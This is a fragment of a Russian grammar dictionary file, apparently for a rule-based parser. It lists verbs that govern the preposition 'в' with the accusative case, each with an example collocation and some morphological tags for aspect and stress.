rus_verbs:завербовать{}, // завербовать в разведку
rus_verbs:рубиться{}, // рубиться в компьютерные игры
rus_verbs:тыкаться{}, // тыкаться в материнскую грудь
инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер
глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш },
деепричастие:ссыпав{}, деепричастие:ссыпая{},
rus_verbs:засасывать{}, // засасывать в себя
rus_verbs:скакнуть{}, // скакнуть в будущее
rus_verbs:подвозить{}, // подвозить в театр
rus_verbs:переиграть{}, // переиграть в покер
rus_verbs:мобилизовать{}, // мобилизовать в действующую армию
rus_verbs:залетать{}, // залетать в закрытое воздушное пространство
rus_verbs:подышать{}, // подышать в трубочку
rus_verbs:смотаться{}, // смотаться в институт
rus_verbs:рассовать{}, // рассовать в кармашки
rus_verbs:захаживать{}, // захаживать в дом
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард
деепричастие:сгоняя{},
rus_verbs:посылаться{}, // посылаться в порт
rus_verbs:отлить{}, // отлить в кастрюлю
rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение
rus_verbs:поплакать{}, // поплакать в платочек
rus_verbs:обуться{}, // обуться в сапоги
rus_verbs:закапать{}, // закапать в глаза
инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации
глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш },
деепричастие:свозив{}, деепричастие:свозя{},
rus_verbs:преобразовать{}, // преобразовать в линейное уравнение
rus_verbs:кутаться{}, // кутаться в плед
rus_verbs:смещаться{}, // смещаться в сторону
rus_verbs:зазывать{}, // зазывать в свой магазин
инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон
глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш },
деепричастие:трансформируясь{}, деепричастие:трансформировавшись{},
rus_verbs:погружать{}, // погружать в кипящее масло
rus_verbs:обыграть{}, // обыграть в теннис
rus_verbs:закутать{}, // закутать в одеяло
rus_verbs:изливаться{}, // изливаться в воду
rus_verbs:закатывать{}, // закатывать в асфальт
rus_verbs:мотнуться{}, // мотнуться в банк
rus_verbs:избираться{}, // избираться в сенат
rus_verbs:наниматься{}, // наниматься в услужение
rus_verbs:настучать{}, // настучать в органы
rus_verbs:запихивать{}, // запихивать в печку
rus_verbs:закапывать{}, // закапывать в нос
rus_verbs:засобираться{}, // засобираться в поход
rus_verbs:копировать{}, // копировать в другую папку
rus_verbs:замуровать{}, // замуровать в стену
rus_verbs:упечь{}, // упечь в тюрьму
rus_verbs:зрить{}, // зрить в корень
rus_verbs:стягиваться{}, // стягиваться в одну точку
rus_verbs:усаживать{}, // усаживать в тренажер
rus_verbs:протолкнуть{}, // протолкнуть в отверстие
rus_verbs:расшибиться{}, // расшибиться в лепешку
rus_verbs:приглашаться{}, // приглашаться в кабинет
rus_verbs:садить{}, // садить в телегу
rus_verbs:уткнуть{}, // уткнуть в подушку
rus_verbs:протечь{}, // протечь в подвал
rus_verbs:перегнать{}, // перегнать в другую страну
rus_verbs:переползти{}, // переползти в тень
rus_verbs:зарываться{}, // зарываться в грунт
rus_verbs:переодеть{}, // переодеть в сухую одежду
rus_verbs:припуститься{}, // припуститься в пляс
rus_verbs:лопотать{}, // лопотать в микрофон
rus_verbs:прогнусавить{}, // прогнусавить в микрофон
rus_verbs:мочиться{}, // мочиться в штаны
rus_verbs:загружать{}, // загружать в патронник
rus_verbs:радировать{}, // радировать в центр
rus_verbs:промотать{}, // промотать в конец
rus_verbs:помчать{}, // помчать в школу
rus_verbs:съезжать{}, // съезжать в кювет
rus_verbs:завозить{}, // завозить в магазин
rus_verbs:заявляться{}, // заявляться в школу
rus_verbs:наглядеться{}, // наглядеться в зеркало
rus_verbs:сворачиваться{}, // сворачиваться в клубочек
rus_verbs:устремлять{}, // устремлять взор в будущее
rus_verbs:забредать{}, // забредать в глухие уголки
rus_verbs:перемотать{}, // перемотать в самое начало диалога
rus_verbs:сморкаться{}, // сморкаться в носовой платочек
rus_verbs:перетекать{}, // перетекать в другой сосуд
rus_verbs:закачать{}, // закачать в шарик
rus_verbs:запрятать{}, // запрятать в сейф
rus_verbs:пинать{}, // пинать в живот
rus_verbs:затрубить{}, // затрубить в горн
rus_verbs:подглядывать{}, // подглядывать в замочную скважину
инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье
глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш },
деепричастие:подсыпав{}, деепричастие:подсыпая{},
rus_verbs:засовывать{}, // засовывать в пенал
rus_verbs:отрядить{}, // отрядить в командировку
rus_verbs:справлять{}, // справлять в кусты
rus_verbs:поторапливаться{}, // поторапливаться в самолет
rus_verbs:скопировать{}, // скопировать в кэш
rus_verbs:подливать{}, // подливать в огонь
rus_verbs:запрячь{}, // запрячь в повозку
rus_verbs:окраситься{}, // окраситься в пурпур
rus_verbs:уколоть{}, // уколоть в шею
rus_verbs:слететься{}, // слететься в гнездо
rus_verbs:резаться{}, // резаться в карты
rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров
инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш)
деепричастие:задвигая{},
rus_verbs:доставляться{}, // доставляться в ресторан
rus_verbs:поплевать{}, // поплевать в чашку
rus_verbs:попереться{}, // попереться в магазин
rus_verbs:хаживать{}, // хаживать в церковь
rus_verbs:преображаться{}, // преображаться в королеву
rus_verbs:организоваться{}, // организоваться в группу
rus_verbs:ужалить{}, // ужалить в руку
rus_verbs:протискиваться{}, // протискиваться в аудиторию
rus_verbs:препроводить{}, // препроводить в закуток
rus_verbs:разъезжаться{}, // разъезжаться в разные стороны
rus_verbs:пропыхтеть{}, // пропыхтеть в трубку
rus_verbs:уволочь{}, // уволочь в нору
rus_verbs:отодвигаться{}, // отодвигаться в сторону
rus_verbs:разливать{}, // разливать в стаканы
rus_verbs:сбегаться{}, // сбегаться в актовый зал
rus_verbs:наведаться{}, // наведаться в кладовку
rus_verbs:перекочевать{}, // перекочевать в горы
rus_verbs:прощебетать{}, // прощебетать в трубку
rus_verbs:перекладывать{}, // перекладывать в другой карман
rus_verbs:углубляться{}, // углубляться в теорию
rus_verbs:переименовать{}, // переименовать в город
rus_verbs:переметнуться{}, // переметнуться в лагерь противника
rus_verbs:разносить{}, // разносить в щепки
rus_verbs:осыпаться{}, // осыпаться в холода
rus_verbs:попроситься{}, // попроситься в туалет
rus_verbs:уязвить{}, // уязвить в сердце
rus_verbs:перетащить{}, // перетащить в дом
rus_verbs:закутаться{}, // закутаться в плед
// rus_verbs:упаковать{}, // упаковать в бумагу
инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость
rus_verbs:хихикать{}, // хихикать в кулачок
rus_verbs:объединить{}, // объединить в сеть
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию
деепричастие:слетав{},
rus_verbs:заползти{}, // заползти в норку
rus_verbs:перерасти{}, // перерасти в крупную аферу
rus_verbs:списать{}, // списать в утиль
rus_verbs:просачиваться{}, // просачиваться в бункер
rus_verbs:пускаться{}, // пускаться в погоню
rus_verbs:согревать{}, // согревать в мороз
rus_verbs:наливаться{}, // наливаться в емкость
rus_verbs:унестись{}, // унестись в небо
rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф
rus_verbs:сигануть{}, // сигануть в воду
rus_verbs:окунуть{}, // окунуть в ледяную воду
rus_verbs:просочиться{}, // просочиться в сапог
rus_verbs:соваться{}, // соваться в толпу
rus_verbs:протолкаться{}, // протолкаться в гардероб
rus_verbs:заложить{}, // заложить в ломбард
rus_verbs:перекатить{}, // перекатить в сарай
rus_verbs:поставлять{}, // поставлять в Китай
rus_verbs:залезать{}, // залезать в долги
rus_verbs:отлучаться{}, // отлучаться в туалет
rus_verbs:сбиваться{}, // сбиваться в кучу
rus_verbs:зарыть{}, // зарыть в землю
rus_verbs:засадить{}, // засадить в тело
rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь
rus_verbs:переставить{}, // переставить в шкаф
rus_verbs:отчалить{}, // отчалить в плавание
rus_verbs:набираться{}, // набираться в команду
rus_verbs:лягнуть{}, // лягнуть в живот
rus_verbs:притворить{}, // притворить в жизнь
rus_verbs:проковылять{}, // проковылять в гардероб
rus_verbs:прикатить{}, // прикатить в гараж
rus_verbs:залететь{}, // залететь в окно
rus_verbs:переделать{}, // переделать в мопед
rus_verbs:протащить{}, // протащить в совет
rus_verbs:обмакнуть{}, // обмакнуть в воду
rus_verbs:отклоняться{}, // отклоняться в сторону
rus_verbs:запихать{}, // запихать в пакет
rus_verbs:избирать{}, // избирать в совет
rus_verbs:загрузить{}, // загрузить в буфер
rus_verbs:уплывать{}, // уплывать в Париж
rus_verbs:забивать{}, // забивать в мерзлоту
rus_verbs:потыкать{}, // потыкать в безжизненную тушу
rus_verbs:съезжаться{}, // съезжаться в санаторий
rus_verbs:залепить{}, // залепить в рыло
rus_verbs:набиться{}, // набиться в карманы
rus_verbs:уползти{}, // уползти в нору
rus_verbs:упрятать{}, // упрятать в камеру
rus_verbs:переместить{}, // переместить в камеру анабиоза
rus_verbs:закрасться{}, // закрасться в душу
rus_verbs:сместиться{}, // сместиться в инфракрасную область
rus_verbs:запускать{}, // запускать в серию
rus_verbs:потрусить{}, // потрусить в чащобу
rus_verbs:забрасывать{}, // забрасывать в чистую воду
rus_verbs:переселить{}, // переселить в отдаленную деревню
rus_verbs:переезжать{}, // переезжать в новую квартиру
rus_verbs:приподнимать{}, // приподнимать в воздух
rus_verbs:добавиться{}, // добавиться в конец очереди
rus_verbs:убыть{}, // убыть в часть
rus_verbs:передвигать{}, // передвигать в соседнюю клетку
rus_verbs:добавляться{}, // добавляться в очередь
rus_verbs:дописать{}, // дописать в перечень
rus_verbs:записываться{}, // записываться в кружок
rus_verbs:продаться{}, // продаться в кредитное рабство
rus_verbs:переписывать{}, // переписывать в тетрадку
rus_verbs:заплыть{}, // заплыть в территориальные воды
инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок
глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" },
rus_verbs:отбирать{}, // отбирать в гвардию
rus_verbs:нашептывать{}, // нашептывать в микрофон
rus_verbs:ковылять{}, // ковылять в стойло
rus_verbs:прилетать{}, // прилетать в Париж
rus_verbs:пролиться{}, // пролиться в канализацию
rus_verbs:запищать{}, // запищать в микрофон
rus_verbs:подвезти{}, // подвезти в больницу
rus_verbs:припереться{}, // припереться в театр
rus_verbs:утечь{}, // утечь в сеть
rus_verbs:прорываться{}, // прорываться в буфет
rus_verbs:увозить{}, // увозить в ремонт
rus_verbs:съедать{}, // съедать в обед
rus_verbs:просунуться{}, // просунуться в дверь
rus_verbs:перенестись{}, // перенестись в прошлое
rus_verbs:завезти{}, // завезти в магазин
rus_verbs:проложить{}, // проложить в деревню
rus_verbs:объединяться{}, // объединяться в профсоюз
rus_verbs:развиться{}, // развиться в бабочку
rus_verbs:засеменить{}, // засеменить в кабинку
rus_verbs:скатываться{}, // скатываться в яму
rus_verbs:завозиться{}, // завозиться в магазин
rus_verbs:нанимать{}, // нанимать в рейс
rus_verbs:поспеть{}, // поспеть в класс
rus_verbs:кидаться{}, // кинаться в крайности
rus_verbs:поспевать{}, // поспевать в оперу
rus_verbs:обернуть{}, // обернуть в фольгу
rus_verbs:обратиться{}, // обратиться в прокуратуру
rus_verbs:истолковать{}, // истолковать в свою пользу
rus_verbs:таращиться{}, // таращиться в дисплей
rus_verbs:прыснуть{}, // прыснуть в кулачок
rus_verbs:загнуть{}, // загнуть в другую сторону
rus_verbs:раздать{}, // раздать в разные руки
rus_verbs:назначить{}, // назначить в приемную комиссию
rus_verbs:кидать{}, // кидать в кусты
rus_verbs:увлекать{}, // увлекать в лес
rus_verbs:переселиться{}, // переселиться в чужое тело
rus_verbs:присылать{}, // присылать в город
rus_verbs:уплыть{}, // уплыть в Европу
rus_verbs:запричитать{}, // запричитать в полный голос
rus_verbs:утащить{}, // утащить в логово
rus_verbs:завернуться{}, // завернуться в плед
rus_verbs:заносить{}, // заносить в блокнот
rus_verbs:пятиться{}, // пятиться в дом
rus_verbs:наведываться{}, // наведываться в больницу
rus_verbs:нырять{}, // нырять в прорубь
rus_verbs:зачастить{}, // зачастить в бар
rus_verbs:назначаться{}, // назначается в комиссию
rus_verbs:мотаться{}, // мотаться в областной центр
rus_verbs:разыграть{}, // разыграть в карты
rus_verbs:пропищать{}, // пропищать в микрофон
rus_verbs:пихнуть{}, // пихнуть в бок
rus_verbs:эмигрировать{}, // эмигрировать в Канаду
rus_verbs:подключить{}, // подключить в сеть
rus_verbs:упереть{}, // упереть в фундамент
rus_verbs:уплатить{}, // уплатить в кассу
rus_verbs:потащиться{}, // потащиться в медпункт
rus_verbs:пригнать{}, // пригнать в стойло
rus_verbs:оттеснить{}, // оттеснить в фойе
rus_verbs:стучаться{}, // стучаться в ворота
rus_verbs:перечислить{}, // перечислить в фонд
rus_verbs:сомкнуть{}, // сомкнуть в круг
rus_verbs:закачаться{}, // закачаться в резервуар
rus_verbs:кольнуть{}, // кольнуть в бок
rus_verbs:накрениться{}, // накрениться в сторону берега
rus_verbs:подвинуться{}, // подвинуться в другую сторону
rus_verbs:разнести{}, // разнести в клочья
rus_verbs:отливать{}, // отливать в форму
rus_verbs:подкинуть{}, // подкинуть в карман
rus_verbs:уводить{}, // уводить в кабинет
rus_verbs:ускакать{}, // ускакать в школу
rus_verbs:ударять{}, // ударять в барабаны
rus_verbs:даться{}, // даться в руки
rus_verbs:поцеловаться{}, // поцеловаться в губы
rus_verbs:посветить{}, // посветить в подвал
rus_verbs:тыкать{}, // тыкать в арбуз
rus_verbs:соединяться{}, // соединяться в кольцо
rus_verbs:растянуть{}, // растянуть в тонкую ниточку
rus_verbs:побросать{}, // побросать в пыль
rus_verbs:стукнуться{}, // стукнуться в закрытую дверь
rus_verbs:проигрывать{}, // проигрывать в теннис
rus_verbs:дунуть{}, // дунуть в трубочку
rus_verbs:улетать{}, // улетать в Париж
rus_verbs:переводиться{}, // переводиться в филиал
rus_verbs:окунуться{}, // окунуться в водоворот событий
rus_verbs:попрятаться{}, // попрятаться в норы
rus_verbs:перевезти{}, // перевезти в соседнюю палату
rus_verbs:топать{}, // топать в школу
rus_verbs:относить{}, // относить в помещение
rus_verbs:укладывать{}, // укладывать в стопку
rus_verbs:укатить{}, // укатил в турне
rus_verbs:убирать{}, // убирать в сумку
rus_verbs:помалкивать{}, // помалкивать в тряпочку
rus_verbs:ронять{}, // ронять в грязь
rus_verbs:глазеть{}, // глазеть в бинокль
rus_verbs:преобразиться{}, // преобразиться в другого человека
rus_verbs:запрыгнуть{}, // запрыгнуть в поезд
rus_verbs:сгодиться{}, // сгодиться в суп
rus_verbs:проползти{}, // проползти в нору
rus_verbs:забираться{}, // забираться в коляску
rus_verbs:сбежаться{}, // сбежались в класс
rus_verbs:закатиться{}, // закатиться в угол
rus_verbs:плевать{}, // плевать в душу
rus_verbs:поиграть{}, // поиграть в демократию
rus_verbs:кануть{}, // кануть в небытие
rus_verbs:опаздывать{}, // опаздывать в школу
rus_verbs:отползти{}, // отползти в сторону
rus_verbs:стекаться{}, // стекаться в отстойник
rus_verbs:запихнуть{}, // запихнуть в пакет
rus_verbs:вышвырнуть{}, // вышвырнуть в коридор
rus_verbs:связываться{}, // связываться в плотный узел
rus_verbs:затолкать{}, // затолкать в ухо
rus_verbs:скрутить{}, // скрутить в трубочку
rus_verbs:сворачивать{}, // сворачивать в трубочку
rus_verbs:сплестись{}, // сплестись в узел
rus_verbs:заскочить{}, // заскочить в кабинет
rus_verbs:проваливаться{}, // проваливаться в сон
rus_verbs:уверовать{}, // уверовать в свою безнаказанность
rus_verbs:переписать{}, // переписать в тетрадку
rus_verbs:переноситься{}, // переноситься в мир фантазий
rus_verbs:заводить{}, // заводить в помещение
rus_verbs:сунуться{}, // сунуться в аудиторию
rus_verbs:устраиваться{}, // устраиваться в автомастерскую
rus_verbs:пропускать{}, // пропускать в зал
инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино
глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш },
деепричастие:сбегая{}, деепричастие:сбегав{},
rus_verbs:прибегать{}, // прибегать в школу
rus_verbs:съездить{}, // съездить в лес
rus_verbs:захлопать{}, // захлопать в ладошки
rus_verbs:опрокинуться{}, // опрокинуться в грязь
инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан
глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш },
деепричастие:насыпая{}, деепричастие:насыпав{},
rus_verbs:употреблять{}, // употреблять в пищу
rus_verbs:приводиться{}, // приводиться в действие
rus_verbs:пристроить{}, // пристроить в надежные руки
rus_verbs:юркнуть{}, // юркнуть в нору
rus_verbs:объединиться{}, // объединиться в банду
rus_verbs:сажать{}, // сажать в одиночку
rus_verbs:соединить{}, // соединить в кольцо
rus_verbs:забрести{}, // забрести в кафешку
rus_verbs:свернуться{}, // свернуться в клубочек
rus_verbs:пересесть{}, // пересесть в другой автобус
rus_verbs:постучаться{}, // постучаться в дверцу
rus_verbs:соединять{}, // соединять в кольцо
rus_verbs:приволочь{}, // приволочь в коморку
rus_verbs:смахивать{}, // смахивать в ящик стола
rus_verbs:забежать{}, // забежать в помещение
rus_verbs:целиться{}, // целиться в беглеца
rus_verbs:прокрасться{}, // прокрасться в хранилище
rus_verbs:заковылять{}, // заковылять в травтамологию
rus_verbs:прискакать{}, // прискакать в стойло
rus_verbs:колотить{}, // колотить в дверь
rus_verbs:смотреться{}, // смотреться в зеркало
rus_verbs:подложить{}, // подложить в салон
rus_verbs:пущать{}, // пущать в королевские покои
rus_verbs:согнуть{}, // согнуть в дугу
rus_verbs:забарабанить{}, // забарабанить в дверь
rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы
rus_verbs:убраться{}, // убраться в специальную нишу
rus_verbs:насмотреться{}, // насмотреться в зеркало
rus_verbs:чмокнуть{}, // чмокнуть в щечку
rus_verbs:усмехаться{}, // усмехаться в бороду
rus_verbs:передвинуть{}, // передвинуть в конец очереди
rus_verbs:допускаться{}, // допускаться в опочивальню
rus_verbs:задвинуть{}, // задвинуть в дальний угол
rus_verbs:отправлять{}, // отправлять в центр
rus_verbs:сбрасывать{}, // сбрасывать в жерло
rus_verbs:расстреливать{}, // расстреливать в момент обнаружения
rus_verbs:заволочь{}, // заволочь в закуток
rus_verbs:пролить{}, // пролить в воду
rus_verbs:зарыться{}, // зарыться в сено
rus_verbs:переливаться{}, // переливаться в емкость
rus_verbs:затащить{}, // затащить в клуб
rus_verbs:перебежать{}, // перебежать в лагерь врагов
rus_verbs:одеть{}, // одеть в новое платье
инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу
деепричастие:задвигаясь{},
rus_verbs:клюнуть{}, // клюнуть в темечко
rus_verbs:наливать{}, // наливать в кружку
rus_verbs:пролезть{}, // пролезть в ушко
rus_verbs:откладывать{}, // откладывать в ящик
rus_verbs:протянуться{}, // протянуться в соседний дом
rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь
rus_verbs:устанавливать{}, // устанавливать в машину
rus_verbs:употребляться{}, // употребляться в пищу
rus_verbs:переключиться{}, // переключиться в реверсный режим
rus_verbs:пискнуть{}, // пискнуть в микрофон
rus_verbs:заявиться{}, // заявиться в класс
rus_verbs:налиться{}, // налиться в стакан
rus_verbs:заливать{}, // заливать в бак
rus_verbs:ставиться{}, // ставиться в очередь
инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны
деепричастие:писаясь{},
rus_verbs:целоваться{}, // целоваться в губы
rus_verbs:наносить{}, // наносить в область сердца
rus_verbs:посмеяться{}, // посмеяться в кулачок
rus_verbs:употребить{}, // употребить в пищу
rus_verbs:прорваться{}, // прорваться в столовую
rus_verbs:укладываться{}, // укладываться в ровные стопки
rus_verbs:пробиться{}, // пробиться в финал
rus_verbs:забить{}, // забить в землю
rus_verbs:переложить{}, // переложить в другой карман
rus_verbs:опускать{}, // опускать в свежевырытую могилу
rus_verbs:поторопиться{}, // поторопиться в школу
rus_verbs:сдвинуться{}, // сдвинуться в сторону
rus_verbs:капать{}, // капать в смесь
rus_verbs:погружаться{}, // погружаться во тьму
rus_verbs:направлять{}, // направлять в кабинку
rus_verbs:погрузить{}, // погрузить во тьму
rus_verbs:примчаться{}, // примчаться в школу
rus_verbs:упираться{}, // упираться в дверь
rus_verbs:удаляться{}, // удаляться в комнату совещаний
rus_verbs:ткнуться{}, // ткнуться в окошко
rus_verbs:убегать{}, // убегать в чащу
rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру
rus_verbs:наговорить{}, // наговорить в микрофон
rus_verbs:переносить{}, // переносить в дом
rus_verbs:прилечь{}, // прилечь в кроватку
rus_verbs:поворачивать{}, // поворачивать в обратную сторону
rus_verbs:проскочить{}, // проскочить в щель
rus_verbs:совать{}, // совать в духовку
rus_verbs:переодеться{}, // переодеться в чистую одежду
rus_verbs:порвать{}, // порвать в лоскуты
rus_verbs:завязать{}, // завязать в бараний рог
rus_verbs:съехать{}, // съехать в кювет
rus_verbs:литься{}, // литься в канистру
rus_verbs:уклониться{}, // уклониться в левую сторону
rus_verbs:смахнуть{}, // смахнуть в мусорное ведро
rus_verbs:спускать{}, // спускать в шахту
rus_verbs:плеснуть{}, // плеснуть в воду
rus_verbs:подуть{}, // подуть в угольки
rus_verbs:набирать{}, // набирать в команду
rus_verbs:хлопать{}, // хлопать в ладошки
rus_verbs:ранить{}, // ранить в самое сердце
rus_verbs:посматривать{}, // посматривать в иллюминатор
rus_verbs:превращать{}, // превращать воду в вино
rus_verbs:толкать{}, // толкать в пучину
rus_verbs:отбыть{}, // отбыть в расположение части
rus_verbs:сгрести{}, // сгрести в карман
rus_verbs:удрать{}, // удрать в тайгу
rus_verbs:пристроиться{}, // пристроиться в хорошую фирму
rus_verbs:сбиться{}, // сбиться в плотную группу
rus_verbs:заключать{}, // заключать в объятия
rus_verbs:отпускать{}, // отпускать в поход
rus_verbs:устремить{}, // устремить взгляд в будущее
rus_verbs:обронить{}, // обронить в траву
rus_verbs:сливаться{}, // сливаться в речку
rus_verbs:стекать{}, // стекать в канаву
rus_verbs:свалить{}, // свалить в кучу
rus_verbs:подтянуть{}, // подтянуть в кабину
rus_verbs:скатиться{}, // скатиться в канаву
rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь
rus_verbs:заторопиться{}, // заторопиться в буфет
rus_verbs:протиснуться{}, // протиснуться в центр толпы
rus_verbs:прятать{}, // прятать в укромненькое местечко
rus_verbs:пропеть{}, // пропеть в микрофон
rus_verbs:углубиться{}, // углубиться в джунгли
rus_verbs:сползти{}, // сползти в яму
rus_verbs:записывать{}, // записывать в память
rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР)
rus_verbs:колотиться{}, // колотиться в дверь
rus_verbs:просунуть{}, // просунуть в отверстие
rus_verbs:провожать{}, // провожать в армию
rus_verbs:катить{}, // катить в гараж
rus_verbs:поражать{}, // поражать в самое сердце
rus_verbs:отлететь{}, // отлететь в дальний угол
rus_verbs:закинуть{}, // закинуть в речку
rus_verbs:катиться{}, // катиться в пропасть
rus_verbs:забросить{}, // забросить в дальний угол
rus_verbs:отвезти{}, // отвезти в лагерь
rus_verbs:втопить{}, // втопить педаль в пол
rus_verbs:втапливать{}, // втапливать педать в пол
rus_verbs:утопить{}, // утопить кнопку в панель
rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США
rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?)
rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег
rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег
rus_verbs:поскакать{}, // поскакать в атаку
rus_verbs:прицелиться{}, // прицелиться в бегущего зайца
rus_verbs:прыгать{}, // прыгать в кровать
rus_verbs:приглашать{}, // приглашать в дом
rus_verbs:понестись{}, // понестись в ворота
rus_verbs:заехать{}, // заехать в гаражный бокс
rus_verbs:опускаться{}, // опускаться в бездну
rus_verbs:переехать{}, // переехать в коттедж
rus_verbs:поместить{}, // поместить в карантин
rus_verbs:ползти{}, // ползти в нору
rus_verbs:добавлять{}, // добавлять в корзину
rus_verbs:уткнуться{}, // уткнуться в подушку
rus_verbs:продавать{}, // продавать в рабство
rus_verbs:спрятаться{}, // Белка спрячется в дупло.
rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию
rus_verbs:воткнуть{}, // воткни вилку в розетку
rus_verbs:нести{}, // нести в больницу
rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку
rus_verbs:впаивать{}, // впаивать деталь в плату
rus_verbs:впаиваться{}, // деталь впаивается в плату
rus_verbs:впархивать{}, // впархивать в помещение
rus_verbs:впаять{}, // впаять деталь в плату
rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат
rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат
rus_verbs:вперивать{}, // вперивать взгляд в экран
rus_verbs:впериваться{}, // впериваться в экран
rus_verbs:вперить{}, // вперить взгляд в экран
rus_verbs:впериться{}, // впериться в экран
rus_verbs:вперять{}, // вперять взгляд в экран
rus_verbs:вперяться{}, // вперяться в экран
rus_verbs:впечатать{}, // впечатать текст в первую главу
rus_verbs:впечататься{}, // впечататься в стену
rus_verbs:впечатывать{}, // впечатывать текст в первую главу
rus_verbs:впечатываться{}, // впечатываться в стену
rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами
rus_verbs:впитаться{}, // Жидкость впиталась в ткань
rus_verbs:впитываться{}, // Жидкость впитывается в ткань
rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы
rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку
rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник
rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник
rus_verbs:вплавиться{}, // Провод вплавился в плату
rus_verbs:вплеснуть{}, // вплеснуть краситель в бак
rus_verbs:вплести{}, // вплести ленту в волосы
rus_verbs:вплестись{}, // вплестись в волосы
rus_verbs:вплетать{}, // вплетать ленты в волосы
rus_verbs:вплывать{}, // корабль вплывает в порт
rus_verbs:вплыть{}, // яхта вплыла в бухту
rus_verbs:вползать{}, // дракон вползает в пещеру
rus_verbs:вползти{}, // дракон вполз в свою пещеру
rus_verbs:впорхнуть{}, // бабочка впорхнула в окно
rus_verbs:впрессовать{}, // впрессовать деталь в плиту
rus_verbs:впрессоваться{}, // впрессоваться в плиту
rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту
rus_verbs:впрессовываться{}, // впрессовываться в плиту
rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон
rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон
rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр
rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр
rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания
rus_verbs:впрягать{}, // впрягать лошадь в телегу
rus_verbs:впрягаться{}, // впрягаться в работу
rus_verbs:впрячь{}, // впрячь лошадь в телегу
rus_verbs:впрячься{}, // впрячься в работу
rus_verbs:впускать{}, // впускать посетителей в музей
rus_verbs:впускаться{}, // впускаться в помещение
rus_verbs:впустить{}, // впустить посетителей в музей
rus_verbs:впутать{}, // впутать кого-то во что-то
rus_verbs:впутаться{}, // впутаться во что-то
rus_verbs:впутывать{}, // впутывать кого-то во что-то
rus_verbs:впутываться{}, // впутываться во что-то
rus_verbs:врабатываться{}, // врабатываться в режим
rus_verbs:вработаться{}, // вработаться в режим
rus_verbs:врастать{}, // врастать в кожу
rus_verbs:врасти{}, // врасти в кожу
инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь
инфинитив:врезать{ вид:соверш },
глагол:врезать{ вид:несоверш },
глагол:врезать{ вид:соверш },
деепричастие:врезая{},
деепричастие:врезав{},
прилагательное:врезанный{},
инфинитив:врезаться{ вид:несоверш }, // врезаться в стену
инфинитив:врезаться{ вид:соверш },
глагол:врезаться{ вид:несоверш },
деепричастие:врезаясь{},
деепричастие:врезавшись{},
rus_verbs:врубить{}, // врубить в нагрузку
rus_verbs:врываться{}, // врываться в здание
rus_verbs:закачивать{}, // Насос закачивает топливо в бак
rus_verbs:ввезти{}, // Предприятие ввезло товар в страну
rus_verbs:вверстать{}, // Дизайнер вверстал блок в страницу
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:вверстываться{}, // Блок тяжело вверстывается в эту страницу
rus_verbs:ввивать{}, // Женщина ввивает полоску в косу
rus_verbs:вволакиваться{}, // Пойманная мышь вволакивается котиком в дом
rus_verbs:вволочь{}, // Кот вволок в дом пойманную крысу
rus_verbs:вдергивать{}, // приспособление вдергивает нитку в игольное ушко
rus_verbs:вдернуть{}, // приспособление вдернуло нитку в игольное ушко
rus_verbs:вдувать{}, // Челоек вдувает воздух в легкие второго человека
rus_verbs:вдуваться{}, // Воздух вдувается в легкие человека
